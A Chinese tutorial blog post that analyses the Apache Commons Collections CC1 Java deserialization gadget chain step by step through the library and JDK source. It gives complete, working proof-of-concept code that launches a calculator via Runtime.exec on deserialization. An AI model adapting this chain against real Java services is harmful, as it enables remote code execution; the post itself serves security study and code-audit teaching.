Java反序列化之CommonsCollections CC1链分析

news2024/12/27 10:04:53

前言

cc链的研究可以说是非常适合java代码审计的入门篇了,十分考验java代码功力,其实也是基础功,跨过了这个门槛,在看看其他业务代码就会比较轻松了。不要说代码难,看不懂,作者也是刚入门java没几个月的小白,只要基本功扎实,慢慢看 慢慢调式。你也会慢慢明白其中的运行逻辑。

环境准备

Java 存档下载 — Java SE 8 | Oracle 中国

https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

我们需要下载链接1的jdk版本安装,高版本的jdk可能与本次调试的执行流不一致。之后我们需把链接2下载下来,将sun目录拷贝到jre安装目录,这样做的目的也是为了看到sun包下的源文件便于调式。最后在idea中将sun目录加进去。

将本次用的lib库 commos-collections-3.2.1 下载下来添加进去

现在上本次测试的代码,正常正常执行后 会弹出本次的计算器。

package com.aqn.core;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
​
public class POC {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
       //Runtime r = Runtime.getRuntime();
  /*      Class c = Runtime.class;
        Method getRuntimeMethod = c.getMethod("getRuntime", null);
        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");*/
   /*     Method getRuntimeMethod = (Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
​
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
​
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
​
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);
​
​
        //InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","bbb");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
/*        for(Map.Entry entry:transformedMap.entrySet()){
 //          entry.setValue(Runtime.class);
        }*/
        //AnnotationInvocationHandler
      /*  Reader*/
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationdhdlConstructor.setAccessible(true);
        Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
​
        serialize(o);
        unserialize("ser.bin");
​
    }
    public static void serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

接下来我会一步地一步地的分析 是怎么从最开始的代码一步一步地写成这样。

前置知识

一段调用本机计算器的poc代码

Runtime.getRuntime().exec("calc"); 

没错是可以执行调用的,现在改写成反射调用的反射、

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class); 
execMethod.invoke(r,"calc");

正片开始....

commons-collections 介绍

commons-collections 是 Apache Commons 项目中的一个子项目,它提供了一组有用的集合类,这些类扩展了 Java 标准库中的集合类,并提供了许多额外的功能。

commons-collections 包含了许多常用的数据结构和算法,包括列表、队列、堆、映射等。它还提供了许多集合的实用工具类,如 CollectionUtils、MapUtils、PredicateUtils 等,用于简化集合操作。

影响版本 3.2.2

InvokerTransformer 任意方法反射调用

InvokerTransformer继承接口Transformer, 接口Transformer只有一个方法transform(Object init)

public class InvokerTransformer implements Transformer, Serializable

它其中的一个构造函数接收方法名,方法参数类型,方法参数(数组)

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

类InvokerTransformer中有一个transform的方法(可接收实例化对象)(也是对接口Transformer的实现), 欲将刚才接收的方法 通过反射实现。

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
        }
    }
}

仔细看method.invoke(input, this.iArgs); 其中method,input,iargs都是我们可控的参数,因此是可以实现任意方法的反射调用。

现在看一下Runtime.getRuntime().exec("calc"); 的普通反射

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class); 
execMethod.invoke(r,"calc");

由此和InvokerTransformer结合生成 调用calc代码

初步建立利用链

Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

思考谁调用了中的transform(同名即可)方法 (目标回到object),右键Find Usages

调用transform

类TransformedMap 的继承实现关系

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable

类TransformedMap中 有checkSetValue方法(protected只能被自己调用) 调用了transform

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

valueTransformer是否可控?看一看TransformedMap的构造函数(也是protected)

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

的确可控,那么类中谁可以调用TransformedMap方法呢!

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

类TransformedMap中 的静态方法decorate 可以调用TransformedMap的构造方法 顺便实例化了TransformedMap类

由此我们可以再次改进代码。(用静态方法调用产生实例,这里跟设计模式理念有关)

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
​
HashMap<Object, Object> map = new HashMap<>();
TransformedMap transformedMap = (TransformedMap)TransformedMap.decorate(map,null,invokerTransformer);

如此 现在只需调用类transformedMap中的 checkSetValue(Object value) 方法, value 需是Runtime实例化对象r 便可执行calc了。

一样的套路继续需找调用checkSetValue方法的地方

在类TransformedMap的父类AbstractInputCheckedMapDecorator中有一个静态内部类,

static class MapEntry extends AbstractMapEntryDecorator {
    private final AbstractInputCheckedMapDecorator parent;
​
    protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }
    
    public Object setValue(Object value) {
        value = this.parent.checkSetValue(value);
        return this.entry.setValue(value);
    }
    
    ...    
}
​

其中方法setValue调用了 checkSetValue,那么参数是否可控呢!查看它的构造函数。

value可控 可以把setValue的参数传进去;也就是传入Runtime实例化对象r

parent 可控 可以由静态类MapEntry 的构造方法传进去;由于TransformedMap继承了AbstractInputCheckedMapDecorator 所以欲传入TransformedMap是可行的

如果上述parent 参数调整好后,就要考虑谁可以调用方法setValue 相关参数是都可控

正常来讲 要遍历map使用MapEntry 就会调用setValue ,而参数value可控 ,就是map键值对的value

现在欲调整代码setValue

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
 for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
}

接下分析下此段代码的执行流,这里我不得不运行调试了,因为遍历map有很多规则,都是编译器执行的,仅靠分析源码还是很困难的。

TransformedMap中没有entrySet() 父类AbstractInputCheckedMapDecorator有

public Set entrySet() {
    return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this) : this.map.entrySet());
}

追入this.isSetValueChecking() this就是transformedMap

protected boolean isSetValueChecking() {
    return this.valueTransformer != null;
}

valueTransformer就是之前设置的invokerTransformer不为空 返回true,进入new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this)

static class EntrySet extends AbstractSetDecorator {
    private final AbstractInputCheckedMapDecorator parent;
    protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
        super(set);
        this.parent = parent;
    }
}

用内部静态类的构造器EntrySet() 实例化EntrySet类,其中parent是对象TransformedMap

接下来就是遍历准备了,调试进入代码

public Iterator iterator() {
    return new AbstractInputCheckedMapDecorator.EntrySetIterator(this.collection.iterator(), this.parent);
}

这里this是AbstractInputCheckedMapDecorator$EntrySet 可以看到TransformedMap 传进去了(this.parent)。

跟踪到EntrySetIterator

static class EntrySetIterator extends AbstractIteratorDecorator {
    private final AbstractInputCheckedMapDecorator parent;
​
    protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
        super(iterator);
        this.parent = parent;
    }
​
}

可以看到将我们的TransformedMap 存入到了EntrySetIterator类中了

由此得出iterator方法的结论:实例化了AbstractInputCheckedMapDecorator的内部静态类EntrySetIterator,之后返回主代码 开始遍历

public boolean hasNext() {
    return this.iterator.hasNext();
}

再次调试进入

public Object next() {
    Entry entry = (Entry)this.iterator.next();
    return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
}

可以看到又实例化了AbstractInputCheckedMapDecorator.MapEntry(静态内部类) 而且传入的参数就是准备的TransformedMap(this.parent)。

为什么这么说呢,因为这里的this是AbstractlnputCheckedMapDecorator$EntrySetlterator@516,还记得之前将TransformedMap存入到此类中吗!没错TransformedMap对象又一次传入了MapEntry

static class MapEntry extends AbstractMapEntryDecorator {
    private final AbstractInputCheckedMapDecorator parent;
​
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
    super(entry);
    this.parent = parent;
}
...

此刻是不是parent的问题解决了! 接下来就是参数value了。

以上调试代码

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
 for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
}

在类AnnotationInvocationHandler中 有readObject方法调用了setValue

package sun.reflect.annotation;
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
​
    // Check to make sure that types have not evolved incompatibly
​
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }
​
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
​
    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

看一看类中AnnotationInvocationHandler 有什么参数是直接可以控制的

 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

注意上述代码的memberValues 这个map类型的参数待会在readObject方法中可是要 执行memberValues.entrySet()来遍历的

这是不是非常像之前我们写的map遍历,那么现在不同了 既然AnnotationInvocationHandler类readObject方法中有这个遍历的操作,那么我们的写的遍历操作就不必了,这也是解决parent的问题的,

由于AnnotationInvocationHandler类没有public (就是默认的default 无法在主程序中获取) ,我们需要进行反射。

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
​
serialize(o);
unserialize("ser.bin");

序列化函数参考

public static void serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

因为序列化,已经调用了AnnotationInvocationHandler的readObject方法了

现在考虑下要传进入的对象r了,看setvalue哪里,

memberValue.setValue(
                new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
        }

传入的参数似乎是不可控的,那有没有其他的解决方案呢!不传参行不行!

无法传参问题

这次我们不传参了! 使用反射的机配合InvokerTransformer机制实例化Runtime r

现在先对下面的代码优化一下,使用InvokerTransformer进行改进,

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class); 
execMethod.invoke(r,"calc");
Method getRuntimeMethod = (Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
​
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
​
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);     
这里还可以继续改进,使用ChainedTransformer递归调用
Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
​
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

看一下ChainedTransformer类

public class ChainedTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;
    ...

此类中也有一个transform的方法

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }
​
     return object;
}

这段代码的逻辑将上一个执行的返回参数传递给本次执行参数,所以上述代码的修改是可行的,不过我们需要传递Runtime.class作为第一个要处理的object,有没有方法不传递呢!

有这么一个有趣的类ConstantTransformer

public class ConstantTransformer implements Transformer, Serializable {
    ...
    private final Object iConstant;
    ...

构造函数

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

它也有transform方法

public Object transform(Object input) {
    return this.iConstant;
}

只所以说它有趣是因为它的transform返回之前的构造函数传参对象

这样不是解决了Runtime.class 要作为一个参数的问题!

于是这样的代码产生了

public class POC {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
​
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("aaa","bbb");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
​
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationdhdlConstructor.setAccessible(true);
        Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
​
        serialize(o);
        unserialize("ser.bin");
    
    }
    public static void serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
​
}

现在不用传参也可以了, 只剩下最后一个问题了

确保真的进入了setValue(),

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
​
    // Check to make sure that types have not evolved incompatibly
    
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }
    
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    
    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
​
}

这此之前有两个if条件要为真

注解绕过

重点看这段AnnotationInvocationHandler类中的readobject()方法的代码

    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);
    if (memberType != null) {  // i.e. member still exists

还记得反序列化先我们AnnotationInvocationHandler 存入什么了吗!(以下面的代码为例分析)

HashMap<Object, Object> map = new HashMap<>();
map.put("aaa","bbb");
​
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);

它的内部成员 type,memberValues 分别是我们传入的注解Override 和 Map

变memberValues 为memberValue 调用getKey() 得到键值队的键; (这里得到的值就是aaa)。

 Class<?> memberType = memberTypes.get(name);

这里,name是你要查找的成员类型的名称。这个方法将返回与该名称对应的成员类型(Class对象)。如果memberTypes中没有与该名称对应的成员类型,那么这个方法将返回null、(本质上有键值对的key得到value 这里面的存的就是方法 和方法类型,后面会有分析)

memberType要想不为空,memberTypes的成员必需要有name,name是我们的可控参数。

追踪调试memberTypes是怎么来的,是否可控!向上找

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

进入annotationType.memberTypes()

public Map<String, Class<?>> memberTypes() {
    return memberTypes;
}

memberTypes在annotationType中定义,那么这个成员是何时被赋值的呢!

private final Map<String, Class<?>> memberTypes;

右键寻找调用者; readobject 中用了他(memberTypes)

annotationType = AnnotationType.getInstance(type);
  private AnnotationType(final Class<? extends Annotation> annotationClass) {
        if (!annotationClass.isAnnotation())
            throw new IllegalArgumentException("Not an annotation type");
​
        Method[] methods =
            AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    // Initialize memberTypes and defaultValues
                    return annotationClass.getDeclaredMethods();
                }
            });
​
        memberTypes = new HashMap<String,Class<?>>(methods.length+1, 1.0f);
        memberDefaults = new HashMap<String, Object>(0);
        members = new HashMap<String, Method>(methods.length+1, 1.0f);
​
        for (Method method :  methods) {
            if (method.getParameterTypes().length != 0)
                throw new IllegalArgumentException(method + " has params");
            String name = method.getName();
            Class<?> type = method.getReturnType();
            memberTypes.put(name, invocationHandlerReturnType(type));
            members.put(name, method);
            ...

传入的type是我们可控制可传入的注解类

简单看一下代码逻辑传入的名称变为了annotationClass,annotationClass.getDeclaredMethods() 得到该类的成员方法名称,

for (Method method : methods) 遍历这个方法数组

String name = method.getName(); Class<?> type = method.getReturnType(); memberTypes.put(name, invocationHandlerReturnType(type));
members.put(name, method);

从代码上看memberTypes 为map 键值对的键存方法名称 值为方法的类型

故我们找一个有成员方法的注解 将该方法的名作为传入map 的键名,如此一来memberType就是该方法的类型 这样不为空就可以进去if了

在Override的邻居里 有一个Target的注解

它里面可是有成员方法的

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
    /**
     * Returns an array of the kinds of elements an annotation type
     * can be applied to.
     * @return an array of the kinds of elements an annotation type
     * can be applied to
     */
    ElementType[] value();
}

那好我们把这个注解传入键入AnnotationInvocationHandler map的键设置 为value

最终形成代码如下

package com.aqn.core;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
​
public class POC {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
​
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
​
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
​
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","bbb");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
​
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationdhdlConstructor.setAccessible(true);
        Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
​
        serialize(o);
        unserialize("ser.bin");
​
    }
    public static void serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
成功跳出计算器

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/985161.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MATLAB中fillmissing函数用法

目录 语法 说明 示例 包含 NaN 值的向量 由 NaN 值组成的矩阵 插入缺失数据 使用移动中位数方法 使用自定义填充方法 包含缺失端点的矩阵 包含多个数据类型的表 fillmissing函数的功能是填充缺失的条目。 语法 F fillmissing(A,constant,v) F fillmissing(A,meth…

Redis 高可用及持久化

Redis 高可用 在web服务器中&#xff0c;高可用是指服务器可以正常访问的时间&#xff0c;衡量的标准是在多长时间内可以提供正常服务&#xff08;99.9%、99.99%、99.999%等等&#xff09;。但是在Redis语境中&#xff0c;高可用的含义似乎要宽泛一些&#xff0c;除了保证提供…

字节8年经验之谈 —— 冒烟测试、回归测试是什么?

冒烟测试&#xff08;Smoke Testing&#xff09;和回归测试&#xff08;Regression Testing&#xff09;是软件测试中常用的两种测试类型。 冒烟测试&#xff08;Smoke Testing&#xff09;&#xff1a;冒烟测试是在软件开发的早期阶段进行的一种表面级功能验证测试。它主要用…

监控系统典型架构

监控系统典型架构如下&#xff1a; 从左往右看&#xff1a; 采集器是负责采集监控数据的&#xff0c;采集到数据之后传输给服务端&#xff0c;通常是直接写入时序库。 对时序库的数据进行分析和可视化。 告警引擎产生告警事件之后交给告警发送模块做不同媒介的通知。 可视化比…

【月报】Aavegotchi 开发进度更新 - 2023 年 9 月

嗨&#xff0c;Gotchigang&#xff01; 又一个月过去了&#xff0c;我们距离让 Gotchi 游戏走向大众的梦想又近了一步&#xff01; 本月&#xff0c;Gotchi 开发人员正在进行紧张的编程工作&#xff0c;以赶上一些重要的截止日期。 在本月的开发更新中&#xff0c;我们将分享…

2023高教社杯全国大学生数学建模竞赛C题思路分析+代码+论文

如下为C君的2023高教社杯全国大学生数学建模竞赛C题思路分析代码论文 C题蔬菜类商品的自动定价与补货决策 在生鲜商超中&#xff0c;一般蔬菜类商品的保鲜期都比较短&#xff0c;且品相随销售时间的增加而变差, 大部分品种如当日未售出&#xff0c;隔日就无法再售。因此&…

Android图表开发---MPAndroidChart

本章内容主要是MPAndroidChart开源框架中的LineChart api com.github.PhilJay:MPAndroidChart:v3.1.0 <com.github.mikephil.charting.charts.LineChartandroid:id"id/lineChart"android:layout_width"match_parent"android:layout_height"330dp…

飞机降落(dfs全排列)

4957. 飞机降落 - AcWing题库 数据量很小&#xff0c;直接爆搜 #include<bits/stdc.h> using namespace std; const int N20; int n,t,flag,st[N];//st记录是否已经降落&#xff0c;flag标记是否降落完成 struct Node {int t,d,l; }node[N]; void dfs(int u,int last)/…

使用Flask-Restful后handle_error干扰无法正常捕获全局异常的解决

1、发现问题 1.1、追踪Api源码&#xff0c;vscode举例&#xff0c;右键点击Api&#xff0c;选择转到定义&#xff0c;确定flask_restful包的位置 from flask_restful import Api1.2、vscode 打开flask_restful包作为一个项目 1.3、之前的问题是&#xff0c;抛出的HTTPExceptio…

无涯教程-JavaScript - BESSELY函数

描述 BESSELY函数针对x的指定顺序和值返回Bessel函数Yn(x)(也称为Weber函数或Neumann函数)。 语法 BESSELY(X, N)争论 Argument描述Required/OptionalXThe value at which to evaluate the function.RequiredNThe order of the function. If n is not an integer, it is tr…

数据结构与算法之字符串

文章目录 1.字符串定义2.串的几个基本概念2.1 空串:2.2空格串2.3子串2.4串相等2.5串比较 3.串的基本操作(此处以java为例)3.1赋值操作StrAssign(s,t)3.2 连接操作 Concat(s,t)3.3求串长StrLength(s)3.4比较StrCompare(st)3.5 求子串_SubString(s,start,len) 4.串的存储结构4.1 …

j解决Ubuntu无法安装pycairo和PyGObject

环境&#xff1a;虚拟机Ubuntu20.04&#xff0c;vscode无法安装pycairo和PyGObject 虚拟机Ubuntu20.04&#xff0c;vscode中运行Anaconda搭建的vens 的Python3.8.10 首先在vscode中点击ctrlshiftp&#xff0c;选择Python3.8.10的环境&#xff0c;自动激活Python 最近在搞无人…

基于SSM的人才招聘系统

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

WorkPlus打造统一用户管理平台,实现企业用户管理的一体化

在企业信息化的进程中&#xff0c;统一用户管理平台扮演着重要的角色。WorkPlus作为领先的品牌&#xff0c;致力于打造一体化的统一用户管理平台&#xff0c;帮助企业实现用户管理的便捷与高效。本文将重点介绍WorkPlus如何通过创新的解决方案&#xff0c;实现企业用户管理的统…

unity fbx动画按配置切割帧片段

主要参考该文章&#xff1a;人无两度s 《unity自动切割动画》 感谢作者分享 执行代码需要将模型与配置文件(.txt)放到同一目录下&#xff0c;批量选中模型后右键&#xff0c;代码中读取了选中的第一个模型同目录下可能存在的“动画帧分段.txt”&#xff0c;按其中的配置对选中…

[HNCTF 2022 Week1]——Web方向 详细Writeup

Week1 [HNCTF 2022 Week1]2048 f12查看源代码 可以看出游戏的分数是score 修改score的值 得到flag [HNCTF 2022 Week1]Interesting_include 得到源码 <?php //WEB手要懂得搜索 //flag in ./flag.phpif(isset($_GET[filter])){$file $_GET[filter];if(!preg_match(&qu…

axios封装/基础配置

步骤&#xff1a;装包 -> 封装axios实例 ->调用实例发送请求 1. 装包 npm install axios 2. 封装 axios基础配置 // axios实例封装 import axios from axios// 创建axios实例 const axiosInstance axios.create({baseURL:http://xxx.net, //基地址timeout:5000 //…

el-table 实现表、表格行、表格列合并

最近写vue开发项目的时候&#xff0c;很多地方用到了Element组件中的Table 表格。经过一周的边学边做&#xff0c;我总结了以下三种有关表格的合并方法。 一、合并表头 话不多说&#xff0c;先看效果图 代码如下&#xff1a; 表格结构如上&#xff0c;其中:header-cell-style对…

Java进行多线程编程?(lambda表达式~)

